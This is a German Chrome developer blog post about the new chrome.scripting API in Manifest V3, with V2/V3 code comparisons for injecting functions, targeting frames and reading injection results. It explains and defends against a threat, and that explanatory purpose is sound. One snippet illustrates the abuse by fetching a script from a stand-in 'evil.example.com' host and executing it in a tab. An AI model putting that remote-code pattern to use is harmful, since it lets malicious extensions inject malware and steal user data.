Jetzt neu: chrome.scripting

Manifest V3 führt eine Reihe von Änderungen an der Erweiterungsplattform von Chrome ein. In diesem Beitrag gehen wir auf die Hintergründe und Änderungen ein, die durch eine der bemerkenswertesten Änderungen eingeführt wurden: die Einführung der chrome.scripting API.

Was ist chrome.scripting?

Wie der Name schon vermuten lässt, ist chrome.scripting ein neuer Namespace, der in Manifest V3 eingeführt wurde und für Script- und Stil-Injection-Funktionen verantwortlich ist.

Entwickler, die bereits Chrome-Erweiterungen erstellt haben, kennen möglicherweise Manifest V2-Methoden in der Tabs API wie chrome.tabs.executeScript und chrome.tabs.insertCSS. Mit diesen Methoden können Erweiterungen jeweils Scripts und Stylesheets in Seiten einschleusen. In Manifest V3 wurden diese Funktionen zu chrome.scripting verschoben. Wir planen, diese API in Zukunft um einige neue Funktionen zu erweitern.

Warum eine neue API erstellen?

Bei einer solchen Änderung stellt sich in der Regel als Erstes die Frage: „Warum?“

Aus verschiedenen Gründen hat sich das Chrome-Team dazu entschieden, einen neuen Namespace für Scripting einzuführen. Erstens: Die Tabs API ist eine Art „Sammelschublade“ für Funktionen. Zweitens mussten wir funktionsgefährdende Änderungen an der vorhandenen executeScript API vornehmen. Drittens wollten wir die Scripting-Funktionen für Erweiterungen erweitern. Zusammengenommen haben diese Bedenken deutlich gezeigt, dass ein neuer Namespace für Scripting-Funktionen erforderlich ist.

Die Schublade für Krimskrams

Eines der Probleme, mit denen sich das Erweiterungsteam in den letzten Jahren auseinandersetzen musste, ist die Überlastung der chrome.tabs API. Als diese API eingeführt wurde, bezogen sich die meisten ihrer Funktionen auf das allgemeine Konzept eines Browsertabs. Schon damals war es eine Art Sammelsurium an Funktionen und im Laufe der Jahre ist diese Sammlung nur gewachsen.

Zur Zeit der Veröffentlichung von Manifest V3 umfasste die Tabs API die grundlegende Tab-Verwaltung, die Auswahlverwaltung, die Fensterorganisation, Messaging, die Zoomsteuerung, die grundlegende Navigation, Scripting und einige andere kleinere Funktionen. All diese Aspekte sind wichtig, aber für Entwickler, die gerade mit der Entwicklung beginnen, und für das Chrome-Team, das die Plattform verwaltet und Anfragen von der Entwickler-Community bearbeitet, kann das etwas überwältigend sein.

Ein weiterer erschwerender Faktor ist, dass die Berechtigung tabs nicht gut verstanden wird. Während viele andere Berechtigungen den Zugriff auf eine bestimmte API einschränken (z.B. storage), ist diese Berechtigung etwas ungewöhnlich, da sie der Erweiterung nur Zugriff auf vertrauliche Eigenschaften in Tab-Instanzen gewährt und sich daher auch auf die Windows API auswirkt. Verständlicherweise denken viele Erweiterungs-Entwickler fälschlicherweise, dass sie diese Berechtigung benötigen, um auf Methoden der Tabs API wie chrome.tabs.create oder chrome.tabs.executeScript zuzugreifen. Durch die Verlagerung von Funktionen aus der Tabs API lässt sich diese Unklarheit teilweise beseitigen.

Wichtige Änderungen

Bei der Entwicklung von Manifest V3 wollten wir vor allem Missbrauch und Malware bekämpfen, die durch „extern gehosteten Code“ ermöglicht werden – Code, der ausgeführt wird, aber nicht im Erweiterungspaket enthalten ist. Es ist üblich, dass Entwickler schädlicher Erweiterungen Scripts ausführen, die von Remote-Servern abgerufen werden, um Nutzerdaten zu stehlen, Malware einzuschleusen und der Erkennung zu entgehen. Auch legitime Nutzer nutzen diese Funktion, aber wir waren der Meinung, dass sie zu gefährlich ist, um sie so beizubehalten.

Es gibt verschiedene Möglichkeiten, wie Erweiterungen nicht gebundelten Code ausführen können. Die relevante Methode hier ist die Manifest V2-chrome.tabs.executeScript-Methode. Mit dieser Methode kann eine Erweiterung einen beliebigen Codestring auf einem Zieltab ausführen. Das bedeutet wiederum, dass ein böswilliger Entwickler ein beliebiges Script von einem Remote-Server abrufen und auf jeder Seite ausführen kann, auf die die Erweiterung zugreifen kann. Wir wussten, dass wir diese Funktion aufgeben mussten, um das Problem mit dem Remotecode anzugehen.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Außerdem wollten wir einige andere, subtilere Probleme mit dem Design der Manifest V2-Version beheben und die API zu einem ausgefeilteren und zuverlässigeren Tool machen.

Wir hätten die Signatur dieser Methode in der Tabs API ändern können, aber wir waren der Meinung, dass eine Neuausrichtung aufgrund dieser grundlegenden Änderungen und der Einführung neuer Funktionen (im nächsten Abschnitt beschrieben) für alle einfacher wäre.

Erweiterte Scripting-Funktionen

Ein weiterer Aspekt, der in den Designprozess von Manifest V3 einfloss, war der Wunsch, der Erweiterungsplattform von Chrome zusätzliche Scripting-Funktionen hinzuzufügen. Insbesondere wollten wir die Unterstützung für Scripts für dynamische Inhalte hinzufügen und die Funktionen der executeScript-Methode erweitern.

Die Unterstützung von Scripts für dynamische Inhalte war schon lange eine häufige Funktionsanfrage in Chromium. Derzeit können Chrome-Erweiterungen mit Manifest V2 und V3 nur statisch in ihrer manifest.json-Datei Content-Scripts deklarieren. Die Plattform bietet keine Möglichkeit, neue Content-Scripts zu registrieren, die Registrierung von Content-Scripts anzupassen oder Content-Scripts zur Laufzeit abzumelden.

Wir wussten zwar, dass wir diese Funktionsanfrage in Manifest V3 angehen wollten, aber keine unserer vorhandenen APIs schien dafür geeignet zu sein. Wir haben auch erwogen, die Content Scripts API von Firefox zu verwenden, haben aber schon früh einige große Nachteile dieses Ansatzes erkannt. Erstens wussten wir, dass es inkompatible Signaturen geben würde (z.B. die Einstellung der Unterstützung für das code-Attribut). Zweitens: Unsere API hatte andere Designeinschränkungen (z.B. musste eine Registrierung über die Lebensdauer eines Dienstarbeiters hinaus bestehen). Außerdem würde dieser Namespace uns auf die Funktion von Inhaltsscripts beschränken, während wir Scripting in Erweiterungen allgemeiner betrachten.

Bei executeScript wollten wir die Funktionen dieser API auch über die der Tabs API hinaus erweitern. Konkret wollten wir Funktionen und Argumente unterstützen, das Targeting auf bestimmte Frames vereinfachen und das Targeting auf andere Kontexte als Tabs ermöglichen.

Künftig werden wir auch darüber nachdenken, wie Erweiterungen mit installierten PWAs und anderen Kontexten interagieren können, die nicht konzeptionell zu „Tabs“ gehören.

Änderungen zwischen „tabs.executeScript“ und „scripting.executeScript“

Im Rest dieses Beitrags möchte ich mir die Ähnlichkeiten und Unterschiede zwischen chrome.tabs.executeScript und chrome.scripting.executeScript genauer ansehen.

Funktion mit Argumenten einfügen

Bei der Überlegung, wie sich die Plattform angesichts der Einschränkungen für remote gehosteten Code weiterentwickeln muss, wollten wir ein Gleichgewicht zwischen der reinen Leistung der beliebigen Codeausführung und der Zulassung von Scripts für statische Inhalte finden. Wir haben uns dafür entschieden, Erweiterungen zu erlauben, eine Funktion als Inhaltsskript einzufügen und ein Array von Werten als Argumente zu übergeben.

Sehen wir uns ein (stark vereinfachtes) Beispiel an. Angenommen, wir möchten ein Script einschleusen, das den Nutzer beim Klicken auf die Aktionsschaltfläche der Erweiterung (Symbol in der Symbolleiste) mit Namen begrüßt. In Manifest V2 konnten wir einen Codestring dynamisch erstellen und dieses Script auf der aktuellen Seite ausführen.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Bei Manifest V3-Erweiterungen kann kein Code verwendet werden, der nicht mit der Erweiterung gebündelt ist. Unser Ziel war es jedoch, einen Teil der Dynamik zu erhalten, die bei Manifest V2-Erweiterungen durch beliebige Codeblöcke möglich war. Mit dem Ansatz „Funktionen und Argumente“ können Chrome Web Store-Prüfer, Nutzer und andere interessierte Parteien die Risiken einer Erweiterung genauer beurteilen. Außerdem können Entwickler das Laufzeitverhalten einer Erweiterung basierend auf den Nutzereinstellungen oder dem Anwendungsstatus ändern.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Targeting-Frames

Außerdem wollten wir die Interaktion von Entwicklern mit Frames in der überarbeiteten API verbessern. Mit der Manifest V2-Version von executeScript konnten Entwickler entweder alle Frames auf einem Tab oder einen bestimmten Frame auf dem Tab anvisieren. Mit chrome.webNavigation.getAllFrames können Sie eine Liste aller Frames auf einem Tab aufrufen.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

In Manifest V3 haben wir die optionale Ganzzahleigenschaft frameId im Optionsobjekt durch ein optionales frameIds-Array von Ganzzahlen ersetzt. So können Entwickler mit einem einzigen API-Aufruf mehrere Frames ansteuern.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Ergebnisse der Script-Injection

Außerdem haben wir die Art und Weise verbessert, wie wir Ergebnisse von Script-Injections in Manifest V3 zurückgeben. Ein „Ergebnis“ ist im Grunde die letzte Anweisung, die in einem Script ausgewertet wird. Sie können sich das als den Wert vorstellen, der zurückgegeben wird, wenn Sie eval() aufrufen oder einen Codeblock in der Chrome DevTools-Konsole ausführen. Er wird jedoch serialisiert, um Ergebnisse zwischen Prozessen weiterzugeben.

In Manifest V2 würden executeScript und insertCSS ein Array mit einfachen Ausführungsergebnissen zurückgeben. Das ist in Ordnung, wenn Sie nur einen einzigen Injection-Punkt haben. Bei der Einschleusung in mehrere Frames ist die Reihenfolge der Ergebnisse jedoch nicht garantiert. Es ist also nicht möglich zu erkennen, welches Ergebnis mit welchem Frame verknüpft ist.

Sehen wir uns als konkretes Beispiel die results-Arrays an, die von einer Manifest V2- und einer Manifest V3-Version derselben Erweiterung zurückgegeben werden. Beide Versionen der Erweiterung fügen dasselbe Inhaltsskript ein. Wir vergleichen die Ergebnisse auf derselben Demoseite.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Wenn wir die Manifest-V2-Version ausführen, erhalten wir ein Array von [1, 0, 5]. Welches Ergebnis entspricht dem Hauptframe und welches dem iFrame? Der Rückgabewert gibt uns keine Auskunft darüber, daher können wir es nicht mit Sicherheit sagen.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

In der Manifest-Version 3 enthält results jetzt ein Array von Ergebnisobjekten anstelle eines reinen Evalutionsergebnisse-Arrays. Die Ergebnisobjekte geben die ID des Frames für jedes Ergebnis eindeutig an. So können Entwickler das Ergebnis viel einfacher nutzen und Maßnahmen für einen bestimmten Frame ergreifen.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Zusammenfassung

Versionsaktualisierungen des Manifests bieten eine seltene Gelegenheit, Erweiterungs-APIs neu zu überdenken und zu modernisieren. Mit Manifest V3 möchten wir die Nutzerfreundlichkeit verbessern, indem wir Erweiterungen sicherer machen und gleichzeitig die Entwicklerfreundlichkeit erhöhen. Durch die Einführung von chrome.scripting in Manifest V3 konnten wir die Tabs API optimieren, executeScript für eine sicherere Erweiterungsplattform neu konzipieren und die Grundlage für neue Scripting-Funktionen schaffen, die noch in diesem Jahr eingeführt werden.